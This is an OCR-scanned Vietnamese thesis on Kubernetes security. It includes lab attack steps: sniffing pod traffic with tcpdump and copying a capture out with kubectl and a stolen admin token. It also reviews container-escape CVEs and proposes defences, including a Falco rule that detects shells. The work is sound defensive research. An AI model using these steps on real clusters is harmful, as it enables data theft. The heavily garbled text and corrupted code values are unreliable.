b6 luu lwong di chuyén qua card mang eth0 cia Pod va xuat ra file dinh dang pcap:
tcpdump -i eth@ -w /tmp/network traffic.pcap

Gia lap giao dich nguwoi dung: Tu may Kali, mo trinh duy¢t truy cap giao dién
ung dung muc tiéu, dién thong tin thé tin dung (vi du: 4111-2222-3333-4444, CVV
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123) vao form "Céng Thanh todn Pon hang néi bé" 16i bAm Xac nhan Thanh toan

(Checkout).

Trich xuét file PCAP vé may tin céng: Quay lai shell nc, bAm Ctrl+C dé dimg
tcpdump. Tai may Kali Linux, ding quyén Admin (c6 duoc tir bai TN-02) dé kéo file

pcap ra ngoai may vat 1y:

kubectl --server=$MASTER URL --token=$TOKEN --insecure-skip-
tls-verify cp
default/<POD_FRONTEND>:/tmp/network traffic.pcap
./network_traffic.pcap

Phén tich bang Wireshark: M6 file bang cong cu Wireshark trén Kali (wireshark
network _traffic.pcap), loc giao thic http, bam chudt phai vao géi tin /charge chon
Follow -> HTTP Stream.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
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Hinh 13. Két qud qud trinh khai thdc 1 thong tin thé tin dung ciia nguoi diing
2.7.4. Két quad thwe nghiém dat dwoc
Toan bd thong tin nhay cam cta ngudi dung bao gdm sb thé tin dung, mi bao
méat CVV va sb tién giao dich hién thi & mon mét dudi dang van ban thuan

(Plaintext). Thuc nghiém chirg minh sy nguy hiém ctia cdu hinh mang mic dinh
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trong Kubernetes: chi can mot Pod huéng ngoai bi hack, toan bo dit liéu truyén thong
ndi bd ctia cac Pod 1an can déu c6 nguy co bi nghe lén néu thiéu co ché mai hoéa TLS

va Network Policy.
2.1. Két luan chwong

Chuong 3 da hoan thanh viéc xay dung moi truong thuc nghiém voi cac kich
béan tan cong gia dinh (PoC) dai dién cho nhiing mbi de doa thuc t& nhit ddi véi ha
tang container. Két qua thuc chtng tir ba kich ban TN-01, TN-02 va TN-03 d3 lam
sang t6 co ché leo thang tir 18i cau hinh sai ddc quyén (privileged) dén viéc chiém
quyén Cluster Admin thong qua danh cip dinh danh (Service Account Token) va khai
thac mang phang dé nghe 1én luu lugng. Nhitng minh chiing nay khong chi khang
dinh tinh d& ton thuong cua cac thiét 1ap mic dinh ma con cung cap dir liéu quan

trong dé dinh hinh céc yéu cau phong thi trong chuong tiép theo.
2.1. Giéi thiéu chwong

Chuong 2 hoc vién s& tap trung phan tich sau cac 16 hong bao mat phd bién, cac
16i cau hinh sai 1éch va cac k& hé kién trac ddc thu trén ting phan 16p cau phan: bat
dau tir cac 16 hong an gidu trong tép tin anh Container, cac rui ro thoat ¢ lap tai trinh
thuc thi Container runtime, cac 18i phan quyén yéu, chua chit ché tai giai phap diéu
phéi Kubernetes, va cudi ciing 1a cic thach thirc an ninh tai phan 16p kién tric mang
lién két ndi bo.

2.2. L& hong biao mit trong Container Image va chudi cung ving

Su phat trién cua kién tric container hoa gan lién véi viée gia ting mirc d6 phu
thudc vao cac thanh phan ma ngudén mé thuong ngudn. Ké tan cong hién nay khong
con chi tap trung tim kiém cac 16 hong bao mat don 1é sau khi hé théng dd van hanh,
ma chuyén dich trong tim sang viéc thao ting tinh toan ven ciia phin mém ngay tir

giai doan phat trién va dong géi chudi cung tmg.
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Ma nguar(l:(;'g;ng nguon Duong 6ng Build (CI/CD) Artifact / Container Image

(Chen Transitive Dep) (Thao ting Workflows) (Phan phai Ma déc)

Hinh 2.14. Luong tdn cong vao container image va chuoi cung ung

Bé mit tin cong dau tién va pho bién nhat nam & giai doan xay dung va phan
phéi tép tin anh dong goi tmg dung dudi day 1a cac rui ro chinh dan dén cac nguy co

mat an toan thong tin tiém an trong container image va chudi cung ung.
2.2.1. Rui ro tir tinh chdt bac cau cua cac thanh phan phu

Mot hé thong phan mém hién dai thuong phu thudc tir 70% dén 90% vao céc
g6i phan mém ngudén mo tu do (FOSS). Khi lap trinh vién khai bdo mot thu vién
(Dependency) trong dy an, thu vién do lai tiép tuc goi dén hang loat thu vién con
khac tao thanh mot mang ludi phu thude bac cau (Transitive Dependencies) phirc tap.
Ké tan cong khai thac dic tinh ndy bang cach cidy mi doc vao mot package nho, it
ngudi chll y & tang sau nhat. Do thiéu co ché minh bach vé thanh phan cau tao phan
mém (thiéu giai phap SBOM - Software Bill of Materials), cac cong cu ra quét tinh
thong thuong rat khé phat hién ra cac ma doc an gidu nay, khién ching dé dang duoc

dong goi thang vao cau tric Layer cua Container Image. [4]

Bén canh d6 mbi de doa an ninh ddi véi chudi cung tng container xuét phat tir
viéc lam dung va sir dung cac anh nén (Base Images) khong déng tin cdy. Quy trinh
kéo céc tép tin image tir cac tai khoan coéng cong chua qua xac thuc ngudn gbc trén
kho luu trir Docker Hub tiém an nguy co rt cao vé viéc hé théng bi nhiém céc loai
ma doc nguy trang (Malware), cac ctra sau doc hai (Backdoors) hodc cac cong cu khai

thac tién ma hoa bat hop phap duoc cai cam tinh vi tir thuong ngudn.
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bi kém véi rai ro vé ma doc, hién tuong 10 lot thong tin nhay cam (Secrets
Leakage) ciing 1a mot k& hé nghiém trong do théi quen cdu hinh khong an toan cua
1ap trinh vién. Trong qua trinh x4y dung Gmg dung, cic k¥ su phat trién thuong luu
trir truc tiép cac thong tin dinh danh tdi mat — bao gém mét khau quan tri co s¢ dir
liéu, cac chudi API keys, ma token xac thuc hay tham chi 1a cac khoa SSH private —
bén trong tép tin cdu hinh Dockerfile dudi dang cac bién méi trudng hodc cac tép tin
sao luu tam thoi. Pang chu ¥, do dic tinh kién tric cta hé thong tép phéan 16p (layered
filesystem) cau thanh nén container, moi trang thai ctia cac ting dit liéu phia dudi déu
duogc ghi vét cb dinh. Do d06, ngay ca khi céc tap tin chira théng tin nhay cam nay da
dugc thuc thi 1énh x6a b & cac 16p (layers) xay dung phia sau, ching van ton tai
nguyén ven dudi dang dit lidu tinh & cac 16p so khoi bén dudi. Hé qua 1a bat ky thuc
thé nao s hitu quyén truy cap hodc tai vé tép tin image déu co thé dé dang trich xuét
thanh cong cac thong tin bao mat nay, tao diéu kién thuan loi cho cac budce tin cong

leo thang tiép theo vao hé thong ha tang.

2.2.2. Thao tiing quy trinh kiém sodt ciia dwong éng CI/CD (Pipeline

Compromise)

Puong 6ng Tich hop va Trién khai lién tuc (CI/CD Pipeline) dong vai tro 1a mat
xich phan phdi cdt 16i trong toan b chudi cung ing tng dung container hoa. Do tinh
chat tu dong hoa cao va nam giir cac ma token ddc quyén, phan 16p nay tré thanh muc
tiéu uu tién ciia cac ky thuat tn cong phirc tap thong qua hai phuong thirc thao ting
chinh:

Phuong thire thir nhét 1a chiém doat tai khoan nha phat trién dya trén cac k¥
thuat gia mao tinh vi (Phishing) hodc ra quét cau phan léng 1éo nhim chiém doat
Token mang quyén quan tri hé thong quan 1y ma nguon nhu GitHub hay GitLab. Mot
minh ching dién hinh trong thuc té 13 cudc tdn cong mang nhim vao nén tang
Codecov vao nam 2021. Trong su kién nay, tin tic da chiém doat thanh cong thong
tin x4c thuc (Credentials) tir dudng dng CI/CD, sau d6 chinh stra trai phép script bash

duogc st dung trong hé thdng build cua ho. Ld héng nay cho phép ké tin cong am
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tham trich xuat hang loat secrets, ma token va cac bién moi trudong tr moi trudng

CI/CD cua hang ngan khach hang sir dung dich vu cia Codecov.

Phuong thirc thtr hai ¢6 mirc d6 nguy hiém cao hon 14 thao ting kich ban Build
(Workflow Manipulation) bang cach chén truc tiép cac doan script doc hai vao file
cAu hinh ludng céng viéc, vi du nhu ciu truc file GitHub Actions YAML. Khi quy
trinh tu dong duoc kich hoat, doan ma ddc nay s€ tu dong thuc thi song song trong
qua trinh hé théng bién dich ma ngudn dé cdy backdoor vao Artifact (thanh phan dau

ra) ngay trudc khi tién hanh dong géi thanh Container Image va day l1én Registry.

Chién dich tAn cong chudi cung tmg khét tiéng nham vao tip doan SolarWinds
(2020) 1a dan ching kinh dién cho phuong thirc nay. Ké tdn cong thudc nhom APT
d3 can thiép truc tiép vao hé thdng build CI/CD théng qua mot ma doc co tén 1a
SUNSPOT. Ma doc nay hoat dong mot cach im lang, lién tuc giam sat tién trinh bién
dich phan mém va tu dong thay thé file ma nguodn sach bang file chita ctra sau
(Backdoor SUNBURST) ngay trong quy trinh build san pham, trudc khi tép tin dau
ra dugc ky s6 va phan phdi dén hon 18.000 khach hang trén toan cau. [5]

Gan ddy hon, vu khai thac 156 hong cAu hinh sai trén hé théng CI/CD cua dy an
PyTorch (2022) ciing cho thiy hacker di thanh cong chén mot dependency ddc hai
(Malicious Dependency) tring tén vao quy trinh build tw dong, khién ma doc ty dong
dong gbi vao package phan phdi ma hé thong khong hé phat hién ra. [6]

Céc sy kién thuc té trén ching minh rang viéc thao ting dudng éng CI/CD c¢6
thé giup tin tic d& dang vuot qua hoan toan cic cong cu kiém duyét bao mat truyén
thong & giai doan sau, bién cic ciu phan phan mém chinh théng thanh céng cu phat

tan ma doc trén di¢n rong.
2.2.3. Thdch thirc tiv dp tré ky thudt va Qudn Iy An ninh Ma nguon

Theo cac ti€u chuan danh gid an ninh nguén m¢ hién dai (nhu du &n OSSF
Scorecard ctia Open Source Security Foundation), mic d6 kién c6 ctia mot chudi

cung mg phy thudc rat 1on vao cac chi sd an ninh k¥ thuat (Security Metrics) bao
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gdém: chinh sach duyét ma (Code Review), bao mat nhanh (Branch Protection) va

quan 1y token ddc quyén.

Sy ton tai ctia P9 tré k¥ thuét (Technical Lag) — tirc khoang thoi gian chdm
tré gitra lac mot dependency thuong ngudn ra mét ban va 16 hong cho dén khi nha
phat trién thyc té cap nhat nd vao Dockerfile — chinh 13 k& ho thoi gian (Window of
Opportunity) 16n nhat dé hacker tién hanh khai thac. Do d6, viéc chi thuc hién ra quét
16 hong tinh (Vulnerability Scanning) don thuan tai mot thoi diém trudce khi trién khai
(Deployment) 14 hoan toan chua du dé d6i pho véi cac cudc tan cong chudi cung tng

da tang.
2.8. Ld hong bio mit trong 16p Container Runtime

Sy nguy hiém cta cac 16 hong tai 16p thuc thi ndy da duoc chimg minh qua
nhiéu sy kién an ninh mang nghiém trong trén thé gidi. Poi v6i 16 hong thoat chudng
do thiét ké phan mém, mét minh chtng dién hinh va kinh dién nhét 13 ma 161 CVE-
2019-5736 ton tai trong trinh thyc thi tAng thip runc. L3 hong nay cho phép ké tan
cong so hitu quyén root bén trong container tién hanh ghi d¢ tép 1énh thyc thi cua
chinh 16p runc trén host vét Iy ngay khi container twong tac voi hé théng (vi du: khi
quan tri vién chay 1énh docker exec). Ngay sau khi tép tin runc bi thao ting, bat ky
hanh dong khéi tao container nao tiép theo trén may chu ciing s& vo tinh kich hoat
mi doc cta hacker, trao cho ho quyén kiém soat tdi cao (root) ctia toan bd hé diéu

hanh Host OS. [7]

Bén canh runc, trinh diéu phdi thyc thi mirc cao containerd ciing ting ghi nhan
16 hong thoat chudng nghiém trong mang dinh danh CVE-2020-15257. L hong nay
xut hién khi container str dung chung khéng gian mang cta host (--net=host) két hop
v6i viéc tién trinh containerd-shim expose API Unix domain socket ctia n6 bén trong
container dudi quyén root. Ké tin cong tir bén trong container c6 thé két ndi truc tiép
dén socket nay, guri 1énh khoi tao mot container méi mang cau hinh dic quyén cao

hon, tir ¢6 bé gdy hoan toan ranh gidi co 1ap va kiém soat may chu vat 1y. [8]
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Khong ding lai ¢ cac 161 cau hinh sai tir phia quan trj vién hay 15i tir logic phan
mém runtime, cic cudc tdn cong thoat chudng trong thuc té con loi dung cac 16 hong
ciia chinh nhan Linux (Kernel Vulnerabilities). Vu khai thac 15 hong Dirty Pipe
(CVE-2022-0847) 1a mot vi du tiéu biéu, cho phép mot tién trinh khong c6 dac quyén
bén trong container c6 thé ghi dé dir 1iéu vao cac tép tin cdu hinh read-only ciia hé
diéu hanh méy chu (nhu file /etc/passwd). Bing cach nay, tin tic dé dang tiém mot

tai khoan root méi vao hé thong host dé thoat chudng thanh cong. [9]

Céc sy kién va ma 15i thuc té ké trén 1a minh chimg rd rang cho thdy, 16p
Container Runtime du duogc thiét ké kién cd nhung néu t6n tai cic k& ho phéan ting
kién triic hodc sy lo 13 trong cau hinh dic quyén cta con ngudi, nd sé lap tirc bién
thanh muyc tiéu khai thac c6 mirc 4o anh hudng dién rong, lam sup d6 hoan toan moi

rao can cd 1ap cua Namespaces va cgroups.
2.9. Lo hong bao mat trong H¢ dieéu phoi

Su nguy hiém cua cic k& hé an ninh trén tang diéu phdi (Orchestrator) khong
chi dung lai & mat 1y thuyét ma d3 bi cac nhom tin tic khai thac triét dé trong thuc té
nham thyc hién cac chién dich tin cong quy mo 16n. Bdi véi rai ro lién quan dén API
Server tiép xtic cong khai khong kiém soat, mot 16 hong nghiém trong mang dinh
danh CVE-2018-1002105 (con goi 1a 16 hong Kubernetes Privilege Escalation) 1a
minh chimg dién hinh cho kha ning thao ting toan cum. L5 hong nay cho phép ké
tan cong chua dugc xac thyc thuc hién giri cac yéu cau dic biét qua céng API Server,
lam dung co ché két ndi thiét 1ap sin (Connection Upgrade) dé thiét 1ap mot kénh
giao tiép truc tiép voi cac backend server (nhu Kubelet) chay trén cac Worker Node.
Thong qua kénh nay, tin tic c6 thé thyuc thi cac 1énh tuy ¥ voi dic quyén tdi cao ma

hoan toan vugt qua moi budc kiém tra xac thuc hay phan quyén cta hé thong. [10]

Bén canh d6, viéc cau hinh sai 1éch céng dich vu cta cAu phén Kubelet (thuong
van hanh mac dinh tai céng 10250 hoac 10255) ra ngoai Internet ma khong kich hoat
tinh nang xé&c thuc nguodi dung (--anonymous-auth=false) cling 1a mot k& ho bi khai

thac nhiéu nhit. Trong chién dich tin cong phat tan phin mém dao tién 4o khét tiéng
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mang tén Hildegard (2021) do nhom hacker TeamTNT thuc hién, tin tac da do quét
dién rong trén khong gian mang dé tim kiém céc cum Kubernetes cau hinh sai 1ong
1é0. Ngay khi phat hién cic cong Kubelet API m¢ cong khai, chiing da giri 1énh truc
tiép dén Node dé khéi tao cac Pod doc hai, thuc hién di chuyén ngang sang cac Pod
14n can nhdm muc dich danh cip Service Account Token va chiém quyén diéu khién

toan bo cluster doanh nghiép. [11]

Dbi v6i co ché phan quyén RBAC long 1éo, 16 hong CVE-2021-25741 lién quan
dén cau phan Ingress Controller 1a mot vi du thuc té cho thay viéc lam dung quyén
han c6 thé din dén ro ri dir liéu hé thdng. Ké tdn cong c6 quyén tao hodc stra doi tai
nguyén Ingress (thuong 1a d6i ngil lap trinh vién hodc cac Pod Gng dung bi chiém
quyén) c6 thé chén cac doan ciu hinh tiy bién dé ép budc hé thong doc va trich xuét

cac file nhay cam thudc vé API Server (nhu file chtra khoa token xéac thuc). [12]

Nhitng din chtng thuc tién nay chi ra rang, do Kubernetes dong vai tro 13 "bo
ndo" diéu phdi toan bo ha tang ddm may cua doanh nghiép, bat ky sai sét ndo trong
viéc thiét 1ap ranh gidi tudong lira cho API Server hay viéc lam dung quyén han RBAC
mic dinh déu mang lai hqu qua day chuyén, tao diéu kién cho tin tic vo hiéu hoa hoan
toan cac 16p phong thu ndi bo va chiém quyén kiém soat ha ting thong tin trong tich

tac.
2.10. LJ hong lién quan dén Kién tric Mang (Container Networking)

Tinh chat nguy hiém cua kién triic mang phang va viéc thiéu ma héa luu luong
ndi bo d3 bién phan 16p mang container thanh méi truong 1y tuong cho cac ky thuat

di chuyén ngang (Lateral Movement) va tan cong ké dung gitta (MitM).

Dian chig dién hinh 1a 15 hong thiét ké ¢t 16i CVE-2020-8554 trong giao thirc
dinh tuyén cua Kubernetes. K¢é tan cong tir mot Pod Frontend bi chiém quyén c6 thé
tao dich vu mang thudc tinh ExternallPs trung voi IP cia mgt dich vu nhay cam ndi
b, tr do ép bude cac Pod khéc dinh tuyén sai huong va do thrflng luu lugng vé Pod

doc hai dé danh cap dir liéu thong tin.
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Bén canh 15i dinh tuyén, ciu hinh plugin mang 16ng 1éo ciing bi lam dung dé tin
cong lan rong. Trong chién dich ma doc nang cao Siloscape (2021) nhim vao cum
Kubernetes, tin tdc sau khi xdm nhdp vao container vung bién da 1ap trc tan dung
mang phéng mic dinh dé quét dich vy, khai thac céac céng quan tri khong dugc bao
vé ctia cic node 1an cin nham thuc thi mé va chiém quyén toan bo ha tz‘ing dam may.

[13]

Song song d6, viéc cac microservices truyén tai dir liéu tdi mat qua giao thirc
HTTP thuan tay tao diéu kién cho cac 16 hong ting mang (nhu CVE-2015-3253 trong
Docker-proxy) bi khai thac dé nghe 1én. Tin tic chi can trién khai cong cu bat goi tin
& ché d6 hdn tap (Promiscuous Mode) tai 16p mang dung chung 1a c¢6 thé trich xuét
toan bo dir liéu. Céac sy kién nay chirng minh mang container khong thé chi bao vé
bang tuwong ltra ving bién, ma bat budc phai trién khai c6 1ap mang vi phan (Micro-

segmentation) va co ché ma hoa dir liéu di chuyén (mTLS). [14]

CHUONG 3: XAY DUNG GIAI PHAP BAO VE CHO HE THONG
CONTAINER

3.1. Gidi thiéu chuong

Dua trén két qua phan tich cac véc-to tin cong tai Chuong 2 (bao gom Container
Escape, danh cap Token didc quyén va nghe 1én mang phang), tai chuong nay hoc
vién dé xuit mot hé théng phong thu da 16p theo chiéu sau dua trén mé hinh Zero-
Trust. Diém c6t 16i ciia chwong 13 viéc ap dung phuong phap luan MITRE ATT&CK
dé thiét ké kién trac, két hop voi cong nghé eBPF tién tién dé giai quyét bai toan bao
dam an ninh an toan & mirc nhan hé diéu hanh nhung khong lam suy giam hi¢u ning

vi dich vu.
3.2. Phuong phap luin

Viéc thiét ké giai phap phong thu khong dua trén cam tinh hay chip vé cong cu,

ma dugc dinh huéng bai cac khung tham chiéu an ninh tiéu chuan.
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3.2.1. Phaén tich déi chiéu theo Khung MITRE ATT& CK® cho Container

Dé dam bao giai phap c6 tinh bao phu toan dién, dé an anh xa cac phuong thirc
tan cong tai Chuong 2 vao khung MITRE ATT&CK, tir d6 trich xuat cac bién phap
d6i pho (Mitigations) twong tng:

Ki thuat Leo thang dic quyén & Lan tranh phong thu hacker sir dung k¥ thuét

"Escape to Host" thong qua hostPath mount va dic quyén “privileged”.

Ki thuat d6i pho: Trién khai co ché kiém soat tai luong dau vao Admission
Control dé tir chdi cac cau hinh vi pham, két hop thiét 1ap tap luat hé théng an toan
Seccomp/AppArmor nhim vo hiéu hoa cac System Calls nhay ciam tir trong

container.

Ki thuat ddnh cap thong tin dinh danh (Credential Access - TN-02): Khai thac

"Service Account Token" ctia cum.

K1 thuat d6i pho: Ap dung nguyén tic dic quyén tdi thiéu ¢ ting RBAC, tu dong
thu hoi co ché automountServiceAccountToken & cac Pod khong co chirc ning goi

API ndi bo.

Ki thuat do tham mang (Discovery & Collection - TN-03): Nghe 1én dir li¢u ndi
bd qua k¥ thuat "Network Sniffing".

Ki thuat d6i pho: Trién khai kién trac vi phan manh mang Micro-segmentation
& Lop 3/Lép 4 (L3/L4) nham cb 1ap cac ving mang tin cdy, két hop ma hoa duong
truyén.
3.2.2. Co so khoa hoc cia cong nghé eBPF (Extended Berkeley Packet Filter)

Dé khic phuc diém yéu cua cac giai phap an ninh truyén théng (thuong yéu cau
cai dat Sidecar proxy hodc Agent cong kénh vao ting container, gdy tiéu ton tai
nguyén va tang do tré), dé an lya chon eBPF lam cong nghé 15i cho phan hé giam sat

runtime.
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Vé mat kién trac, eBPF cho phép thuc thi cac chuong trinh giam sat dang hop
cat truc tiép bén trong khong gian nhan Linux (Kernel Space) ma khong can phai bién

dich lai kernel hay tai cac kernel modules nguy hiém.

- Co ché hoat @ong: Khi mot container (vi du: web-frontend) goi mét syscall
(nhu execve dé khoi chay bash shell), eBPF program d3 duoc gin (hook) tai
cac diém kiém soat (kprobes/tracepoints) s& 14p tirc bt chin s kién nay.

- An toan va Hiéu ning: Mi eBPF trudc khi chay phai vuot qua bo kiém
duyét (eBPF Verifier) cia nhan Linux dé dam bao khong gay crash hé thong,
sau do dugc bién dich Just-In-Time (JIT) ra ma may nguyén thuy, mang lai

toc d6 thuc thi gan nhu tic thoi (overhead chi tinh bang micro-gidy). [19]
3.3. Giai phap cong nghé giai doan Tich hop va Phéan phéi (Build & Ship)

Trivy, dugc phat trién boi Aqua Security, 1a mot cong cu ra quét 16 hong bao
mat ma ngudn mé hang dau, duoc thiét ké chuyén biét cho méi truong Container va
Cloud-Native. Piém manh cét 16i ciia Trivy nam & kha ning phan tich toan dién da
tang, tir viéc phat hién cac 16 hong da biét (CVE) trong cac gbi hé diéu hanh (OS
packages) va thu vién phu thudc cua ting dung (Application dependencies), cho dén
viéc nhan dién cic sai sot trong cau hinh ha tang (Misconfigurations) va 1o ri thong
tin nhay cam (Secrets). Nho kién tric van hanh siéu nhe, khong yéu cau luu trir trang
thai (stateless) va c6 toc dd quét vuot troi, Trivy cuc ky 1y twong dé tich hop tu dong
vao cac duong dng CI/CD. Trong kién tric phong thu da 16p, cong cu nay déng vai
trd 1a chdt chan an ninh dau tién, ddm bao moi ciu phén phén mém déu duogc lam

sach truéc khi dong goi va phan phdi vao méi truong thyc thi.

Dé loai bo 16 hong tir cac goi phu thude (nhu thu vién dinh Command Injection),
dé an tich hop cong cu ra quét Trivy vao quy trinh CI/CD. Vé mit kién trac Image,
dé an sir dung k¥ thuat dong goi da giai doan (Multi-stage build) va sir dung anh nén

t6i gian (Distroless Images).

Anh Distroless loai bo hoan toan céc tién ich hé diéu hanh co ban nhu trinh quan

1y g61 (apt/yum), va dac biét 1a khong chura trinh thong dich shell (sh/bash). Do do,
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ngay ca khi tng dung Web dinh 16i Command Injection (nhu TN-01), hacker tiém
1€nh bash -1 cling s€ that bai vi tép thuc thi bash hoan toan khong tdn tai trong by nh¢

container.

FROM python:3.18-slim AS builder

WORKDIR /app

COPY requirements.txt .

RUN pip install --user -r requirements.txt

FROM gcr.io/distroless/python3-debianll
WORKDIR /app

COPY --chown=10061:10081 --from=builder /root/.local /home/appuser/.local
COPY --chown=10061:16661 . /app

USER 16661

ENV PATH=/home/appuser/.local/bin:$PATH

CMD [“app.py"]

Hinh 3.1. Céu hinh an toan cho Dockerfile
3.4. Giai phap cong nghé phong thi chii dong tang Thuc thi (Runtime)

Day 1a cdu phan k¥ thuat trong tam, sir dung cac cong nghé can thiép siu vao

ludng xtr 1y ciia Kubernetes API va Linux Kernel dé bé giy chudi tn cong.

Dé ngin chin ciu hinh' sai 1am trong TN-01 (cap quyén privileged va mount 6 dia
/), hé thdng trién khai co ché Pod Security Admission (PSA) tich hop sin trong API
Server ciia Kubernetes. Khi mot ban ghi (Manifest) yéu ciu tao Pod giri dén, bo diéu

khién Mutating/Validating Webhook s& can thiép.

Dé an ap dung ciu hinh PSA cap do Restricted. Dudi cap do nay, API Server
bat budc moi Container phai kich hoat hd so bd loc hé théng Seccomp (Secure
Computing Mode) & trang thai RuntimeDefault. Seccomp hoat dong bang cach chén
mot bo loc BPF (Berkeley Packet Filter) vao tién trinh cua container, truc tiép tir chbi
(tra vé mi 16i EPERM) khoéang 44 Syscalls nguy hiém (nhu mount, umount2, ptrace,

chroot, unshare).
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apiVersion: vl
kind: Pod
metadata:
name: secure-frontend
spec:
# Cam tyr dong gan Token dé chdng kich ban TN-82
automountServiceAccountToken: false
securityContext:
seccompProfile:
type: RuntimeDefault # Kich hoat bd loc Seccomp chan 1lénh chroot/mount
containers:
- name: secure-app
image: my-secure-app:latest
securityContext:
allowPrivilegeEscalation: false # Khéa cimg tién trinh con, khéng cho phép SUID

readOnlyRootFilesystem: true # He ng tép Read-Only (Chdng ghi md ddoc)

runAsNonRoot: true # Bat budc container khéi chay bang Non-root UID

capabilities:
drop: ["ALL"] # Tudc bd toan bo Linux Capabilities

Hinh 3.2. Céu hinh pod an toan dp dung ciu hinh PSA

Khi c4u hinh nay duoc ap dung, k¥ thuat Container Escape trong bai TN-01 s&
bi v6 hiéu héa hoan toan ngay, do hé diéu hanh vat 1y tir chdi cap phat khong gian bo

nhd cho cac Syscalls can thi¢p.
3.5. Giam sat hanh vi d$ tré cwe thip véi Falco (Pong co eBPF)

Du di phong thi tinh, hé théng van can giai phap phat hién thoi gian thuc
(Threat Detection) dé chin bat hanh vi khai thac. D& an trién khai Falco — ban dau
dugc phat trién boi Sysdig va hién 1a du an cdp cao nhét (Graduated Project) thudc
T6 chirc Dién toan Pam may Nguyén ban (CNCF), duoc gidi chuyén mon cong nhan
1a tiéu chuan thuc té (de facto standard) cho cong tac phat hién mdi de doa tai tang
thuc thi (Runtime Threat Detection) trong mdi truong Kubernetes. Strc manh cot 16
ctia Falco nam & viéc khai thac cong nghé eBPF (Extended Berkeley Packet Filter),
cho phép trién khai cac dau do (probes) giam sat truc tiép vao khong gian nhan Linux
(Kernel Space) mot cach an toan, c6 1ap va hoan toan trong sudt v6i cac container
ung dung. Khac véi cac gidi phap bao mat tinh, Falco hoat dong nhu mot "camera an
ninh tang hinh", lién tuc thu thap, phan tich cac 10i goi hé thong (Syscalls) va luong
su kién mang theo thoi gian thuc, ddi chiéu ching v41 mdt cong cu quy tac (Rules
Engine) linh hoat. Trong kién tric phong thu da 16p, Falco déng vai trod 1a chét chan

chiéu sau cudi cung, nhan dién tirc thoi cac hanh vi xdm nhap tinh vi nhu khéi tao
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shell trai phép (Reverse Shell), doc/ghi tép tin nhay cam hay nd luc leo thang dic

quyén — nhitng rii ro zero-day nguy hiém ma céc rao can bao mat tinh thudng bo lot.

Falco trién khai mot module eBPF truc tiép vao nhan Linux ctia may Worker.
Khi tin tic loi dung 16 hong Web dé kich hoat Reverse Shell (nhu qua trinh TN-01,
TN-02), tién trinh ndy budc phai thuc hién Syscall execve. eBPF hook sé& chup lai cac
d6i sb cua syscall (tham sb 1énh bash, duong dan mang TCP), ddy 1én khong gian
ngudi diung (User Space) dé Falco ddi chiéu véi bo luat dinh san.

1 - rule: Terminal shell in container

D8 An> ¥ sampleyml

desc: Canh bdo ngay lap tirc khi mdt shell tuwong tac dugc khdi tae trong container
condition: >

4 spawned_process
5 and container
6
7

and shell procs
and not k8s.ns.name in (kube-system)
8 output: >
9 %evt_time [CRITICAL ALERT] Shell dugc khdi chay trai phép trong Container
10 (user=%user.name pod=%k8s.pod.name container_id=%container.id command=%proc.cmdline)
11 priority: CRITICAL
12 tags: [mitre_execution, T1620, container_escape]

Hinh 3.3. Cdu hinh rule phat hién sir dung cho gidi phdp Falco
3.6. Vi phian manh mang véi Calico CNI (Chéng kich ban TN-03)

Dé giai quyét bai toan mang phang mic dinh (Flannel) cho phép tu do nghe 1én
trong kich ban TN-03, d& 4n thay thé 16p mang bing Calico CNIL. Calico khong str
dung cau ndi mang ao (virtual bridge) ma dinh tuyén truc tiép dua trén giao thirc BGP
(Border Gateway Protocol) két hop thao tac truc tiép trén nhan iptables hodc eBPF
datapath.

Dé an thiét 1ap kién triic Zero-Trust Network, mic dinh tir chéi (Deny-All) toan
bd luu lugng trong Cluster, sau do chi md cac khe hep (Allow-List) cho cac dich vu

dugc cap phép.
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apiVersion: networking.k8s.io/vl
kind: NetworkPolicy
metadata:

name: isolate-payment-service

namespace: default
spec:
podSelector:
matchlLabels:
app: payment-service # Khéa muc tiéu 13 dich vu thanh toan nhay cém
policyTypes:
- Ingress
ingress:
- from:
# CHI cho phép két ndi dén tir cac Pod mang nhadn ndi bd an toan
# Pod Frontend (app: web-frontend) sé& tu dong bi DROP traffic
- podSelector:
matchlabels:
app: internal-gateway
ports:
- protocol: TCP

Hinh 3.4. Céiu hinh Network Policy dam bdo kién triic Zero-Trust Network
3.7. Két luan chuwong

Chuong 3 di dé xuat va ching minh tinh hiéu qua cia mé hinh phong thu da
16p (Defense-in-Depth) theo chu trinh DevSecOps, véi trong tam 1a kién tric Zero-
Trust. Bang cach két hop hai hoa cac cong cu bao mat tinh (Trivy, Harbor) va phong
thu runtime chu dong (Seccomp, Falco, Calico), gidi phap da tao ra mdt "vong lap
bao mat kin", giup ngin chin tir cac mdi de doa di biét dén nhimng k§y thuét tinh vi

nhu tin cong 0-day.
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CHUONG 4: THU'C NGHIEM PHUONG THUC TAN CONG VA GIAI
PHAP PHONG VE

4.1. Giéi thiéu chwong

Nham muc dich ching minh tinh kha thi ctia cac 1y thuyét 16 hong da phan tich
tai Chuong 2 va giai phap phong thu tai Chuong 4, hoc vién s€ tap trung vao viéc xay
dung méi trudng phong thi nghiém thuc té dé tién hanh cac kich ban thyc nghiém tan
cong gia dinh - PoC. Qua trinh thuc nghiém s& mo phong lai cac véc-to tn cong nguy
hiém nhu khai thac 16 hong cau hinh dic quyén dé thoat chudng chiém quyén diéu
khién Host OS, danh cép cAu phﬁn dinh danh Service Account dé kiém soat cum
Kubernetes, va thuc hién tin cong nghe 1én dir li€éu mang ndi bo. Két qua s€ su dung
dé danh gia hiéu ning va kha ning chin bat cac hanh vi tin cong bang giai phap da

xdy dung.

4.2. Thiét 1ap Mdi trweong Thuc nghiém

10.15.x.171 10.15.x.172

Master01 / Worker01

10154473

K

Attacker

Hinh 4.1. M6 hinh thuc nghiém

MGéi trudng phong thi nghiém duoc cau hinh bang hé théng méay chi 4o héa cuc

bd dé dam béo tinh an toan co lap:
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« Ha ting cum may chii: 01 Cum Kubernetes Cluster gom 01 Master Node (2
vCPU, 4GB RAM) va 01 Worker Nodes (2 vCPU, 4GB RAM) van hanh trén
nén tang hé diéu hanh Ubuntu Server 22.04 LTS.

« Cau phan Runtime ting thap: Trinh thyc thi containerd v1.7 va runc v1.1.

« Ung dung muc tiéu (Target): Trién khai mot hé théng tmg dung
Microservices gia lap thuong mai di¢n tu. Trong d6, ing dung Web Frontend
hudng ngoai duoc ¢d ¥ chén sin mot 16 hong Command Injection (Tiém cau

1énh hé thong) tai tinh ning xr 1y anh.

« May tin cong (Attacker): Sir dung hé diéu hanh Kali Linux nam cung dai
mang ndi by voi cum may chu Lab, dugc trang bi cadc cong cu kiém thir nhu

Nmap, Burp Suite va Kubectl.
